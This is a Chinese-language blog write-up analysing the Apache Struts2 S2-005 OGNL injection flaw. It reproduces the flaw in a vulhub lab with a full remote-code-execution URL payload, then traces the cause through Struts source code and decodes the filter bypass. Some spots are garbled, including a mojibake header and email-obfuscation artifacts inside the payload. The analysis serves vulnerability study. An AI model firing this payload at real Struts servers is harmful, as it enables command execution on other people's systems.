本篇文章全文约 10556 个字符,5 张图片,预计阅读时间为 15 分钟,请合理安排阅读时间。
关于 S2-005
首先贴上官方对 S2-005 的通报
https://struts.apache.org/docs/s2-005.html
以及一篇老外的文章
http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html
影响范围:Struts 2.0.0 - Struts 2.1.8.1
《白帽子讲WEB安全》一书中有提到:
S2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。 —— 《白帽子讲Web安全》
也就是说,S2-005这个漏洞的成因是由于在 S2-003 这个漏洞中没有完全修补造成的。
而 S2-003 是因为在 ParametersInterceptor
拦截器中过滤了 #
以保护成员的安全,但可以通过 Unicode 编码来绕过。
例如:想要把 #session.user设置为 '0wn3d'
应转换为
('u0023' + 'session'user'')(unused)=0wn3d
官方对S2-003的修复方案是:增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.den
yMethodExecution)等来修补。
复现
参考 vulhub 中提供的例子,启动docker。
https://github.com/vulhub/vulhub/tree/master/struts2/s2-005
payload
http://localhost:8888/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22calc%22.split(%[email protected]%22))%27)(%5cu0023rt%[email protected]@getRuntime()))=1
成功执行系统命令
分析
前面说了,是因为struts参数拦截器把每个参数进行了一次OGNL计算来获取对象导致的。那我就来带上参数访问看看会hook到什么。
http://localhost:8888/example/HelloWorld.action?aaaaaa=123456
---------------------------------EXP-----------------------------------------
aaaaaa
---------------------------------璋冪敤閾 ---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.ognl.OgnlUtil.compile(OgnlUtil.java:214)
com.opensymphony.xwork2.ognl.OgnlUtil.setValue(OgnlUtil.java:198)
com.opensymphony.xwork2.ognl.OgnlValueStack.setValue(OgnlValueStack.java:161)
com.opensymphony.xwork2.ognl.OgnlValueStack.setValue(OgnlValueStack.java:149)
com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters(ParametersInterceptor.java:276)
com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:187)
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:87)
//...
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:176)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:237)
org.apache.struts2.impl.StrutsActionProxy.execute(StrutsActionProxy.java:52)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:488)
org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:77)
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)
//...
java.lang.Thread.run(Thread.java:748)
aaaaaa 就是 hook 到的 ognl 表达式。
接下来开始一点点分析成因。
既然前面提到了是因为拦截器的原因,那就先来看看拦截器是以怎样的形式存在于 Struts2 里的。
打开 war 包找到 struts.xml
<package name="default" namespace="/" extends="struts-default">
<default-action-ref name="index" />
<action name="index">
<result type="redirectAction">
<param name="actionName">HelloWorld</param>
<param name="namespace">/example</param>
</result>
</action>
</package>
这是我所访问的 action 对应的 package标签。
其中有一句extends="struts-default"
就是去继承 struts 默认的父package。
在 struts2-core-2.1.8.1.jar!\struts-default.xml
中可以找到。
里面代码很多,我只提取部分出来说明。
<interceptor name="params" class="com.opensymphony.xwork2.interceptor.ParametersInterceptor"/>
这里他声明了一个名为 params 的拦截器,指向的是 ParametersInterceptor 类。
<interceptor-stack name="defaultStack">
<!-- 省略 -->
<interceptor-ref name="params">
<param name="excludeParams">dojo\..*,^struts\..*</param>
</interceptor-ref>
<interceptor-ref name="conversionError"/>
<interceptor-ref name="validation">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="workflow">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
</interceptor-stack>
这是一个名为"defaultStack"的拦截器栈 其中引用了 params 拦截器。
dojo\..*,^struts\..*
是它的参数
<default-interceptor-ref name="defaultStack"/>
<default-class-ref class="com.opensymphony.xwork2.ActionSupport" />
最后,把defaultStack作为了默认的拦截器栈。
重新请求一遍,Debug 一步步分析。
从 struts2 的核心控制器到 intercept 执行前都是废话
(StrutsPrepareAndExecuteFilter.java:91)
(ExecuteOperations.java:77)
(Dispatcher.java:488)
(StrutsActionProxy.java:52)
(DefaultActionInvocation.java:237)
然后它会在 DefaultActionInvocation (com.opensymphony.xwork2)
的invoke
方法中去调用拦截器栈中的所有拦截器。
跳过前面没用的代码,最终到达 ParametersInterceptor
拦截器的处理部分。
this.resultCode = interceptor.getInterceptor().intercept(this);
这段代码就是去执行拦截器
然后经过MethodFilterInterceptor类的intercept方法到达
ParametersInterceptor类的doIntercept方法
public String doIntercept(ActionInvocation invocation) throws Exception {
Object action = invocation.getAction();
if (!(action instanceof NoParameters)) {
ActionContext ac = invocation.getInvocationContext();
Map<String, Object> parameters = this.retrieveParameters(ac);
if (LOG.isDebugEnabled()) {
LOG.debug("Setting params " + this.getParameterLogMap(parameters), new String[0]);
}
if (parameters != null) {
Map contextMap = ac.getContextMap();
try {
ReflectionContextState.setCreatingNullObjects(contextMap, true);
ReflectionContextState.setDenyMethodExecution(contextMap, true);
ReflectionContextState.setReportingConversionErrors(contextMap, true);
ValueStack stack = ac.getValueStack();
this.setParameters(action, stack, parameters); // 装配参数,进入漏洞触发部分
} finally {
ReflectionContextState.setCreatingNullObjects(contextMap, false);
ReflectionContextState.setDenyMethodExecution(contextMap, false);
ReflectionContextState.setReportingConversionErrors(contextMap, false);
}
}
}
return invocation.invoke();
}
跟进ParametersInterceptor.setParameters
protected void setParameters(Object action, ValueStack stack, Map<String, Object> parameters) {
ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
TreeMap params;
TreeMap acceptableParameters;
if (this.ordered) {
params = new TreeMap(this.getOrderedComparator());
acceptableParameters = new TreeMap(this.getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
acceptableParameters = new TreeMap();
}
Iterator i$ = params.entrySet().iterator(); // 迭代每个参数
while(i$.hasNext()) {
Entry<String, Object> entry = (Entry)i$.next();
String name = (String)entry.getKey();
boolean acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
// 这一步验证输入的参数是否和规定的正则表达式匹配
if (acceptableName) {
acceptableParameters.put(name, entry.getValue());
}
}
ValueStack newStack = this.valueStackFactory.createValueStack(stack);
boolean clearableStack = newStack instanceof ClearableValueStack;
if (clearableStack) {
((ClearableValueStack)newStack).clearContextValues();
Map<String, Object> context = newStack.getContext();
ReflectionContextState.setCreatingNullObjects(context, true);
ReflectionContextState.setDenyMethodExecution(context, true);
ReflectionContextState.setReportingConversionErrors(context, true);
context.put("com.opensymphony.xwork2.ActionContext.locale", stack.getContext().get("com.opensymphony.xwork2.ActionContext.locale"));
}
boolean memberAccessStack = newStack instanceof MemberAccessValueStack; //允许访问栈
if (memberAccessStack) {
MemberAccessValueStack accessValueStack = (MemberAccessValueStack)newStack;
accessValueStack.setAcceptProperties(this.acceptParams);
accessValueStack.setExcludeProperties(this.excludeParams);
}
Iterator i$ = acceptableParameters.entrySet().iterator(); // 迭代允许执行的参数
while(i$.hasNext()) {
Entry<String, Object> entry = (Entry)i$.next();
String name = (String)entry.getKey(); //触发漏洞的payload
Object value = entry.getValue();
try {
newStack.setValue(name, value); // 触发漏洞部分
} catch (RuntimeException var16) {
if (devMode) {
String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{"Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var16.getMessage()});
LOG.error(developerNotification, new String[0]);
if (action instanceof ValidationAware) {
((ValidationAware)action).addActionMessage(developerNotification);
}
}
}
}
//省略...
}
这里验证参数是否符合表达式 [[\p{Graph}\s]&&[^,#:=]]*
,如果符合则被认为带有特殊字符不予通过。并且还要通过isExcluded方法的验证(dojo\..*
和^struts\..*
不能带有dojo和以struts开头的参数名)。
最终在OgnlValueStack.setValue
中执行了表达式。
总结
我们先来总结一下POC。
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true
&(aaaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023vccc')(\u0023vccc\u003dnew java.lang.Boolean("false")))
&(asdf)(('\u0023rt.exec("calc")')(\u0023rt\[email protected]@getRuntime()))=1
解码后
('#_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true
//设置允许访问静态方法
&(aaaa)(('#context[\'xwork.MethodAccessor.denyMethodExecution\']=#vccc')(#vccc=new java.lang.Boolean("false")))
//设置denyMethodExecution为false 允许ognl自定义变量
&(asdf)(('#rt.exec("calc")')(#[email protected]@getRuntime()))=1
//执行 calc 系统命令
比起以往的的POC,可以看到这个POC非常有特点,我提取出来几个说一下。
\u0023
(vaaa)
xxxx[\'xxx\']
首先说\u0023
,这是一个Unicode编码,转换过来就是#
。
这里为的是绕过前面的参数校验,拦截器中不允许键中存在^,#:=
这些字符,而我们的Payload为了可以访问对象则必须要有#和=
,所以我们要用 Unicode 或8进制代替,在OGNL执行的时候会取出Unicode进行解码,这就导致我们可以通过编码特殊字符来绕过Struts2的防御。
再来说(vaaa)
,这里可以参考:http://commons.apache.org/proper/commons-ognl/language-guide.html 的 Expression Evaluation 部分
如果在ognl表达式后面使用带括号的表达式,而括号前面没有点,ognl将尝试将第一个表达式的结果视为要计算的另一个表达式,并将带括号表达式的结果用作该计算的根对象。第一个表达式的结果可以是任何对象;如果它是AST,则ognl假定它是表达式的解析形式并简单地解释它;否则,ognl将获取对象的字符串值并解析该字符串以获取要解释的AST。
因为ognl会将其解释为对fact方法的调用。通过用括号将属性引用括起来,可以强制执行所需的解释
翻译成人话就是说括号里的表达式会被执行。
(1)(expression)(constant)= value会执行expression=value。
(2)(constant)((expression1)(expression2))会先执行expression2,然后再执行expression1。 参考:Struts2漏洞分析与研究之S2-005漏洞分析
再来说一下 xxxx[\'xxx\']
比如这个表达式('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true
前面有说到过 Expression Evaluation 会执行 第一个括号中的('\u0023_memberAccess[\'allowStaticMethodAccess\']')=true
'#_memberAccess[\'allowStaticMethodAccess\']'
这个则是真正要执行的表达式。
因为修改 aaa 的 bbb 属性可以用 aaa.bbb=ccc 或 aaa['bbb']=ccc 表示,所以这里用了#_memberAccess[\'allowStaticMethodAccess\']
这种表达式,而使用反斜杠\
是因为它已经在单引号表达式中存在了所以要转义。又因为在键中这种表示是不允许的所以在请求时一般需要进行一次url编码。
最后总结一下这个漏洞。
根据前面的介绍和分析已经可以知道漏洞的两个成因:
ParametersInterceptor
只通过正则去简单的判断#
,而OGNL是可以对 Unicode 字符解码执行的- 可以修改
xwork.MethodAccessor.denyMethodExecution
和allowStaticMethodAccess
以绕过 Struts 的防护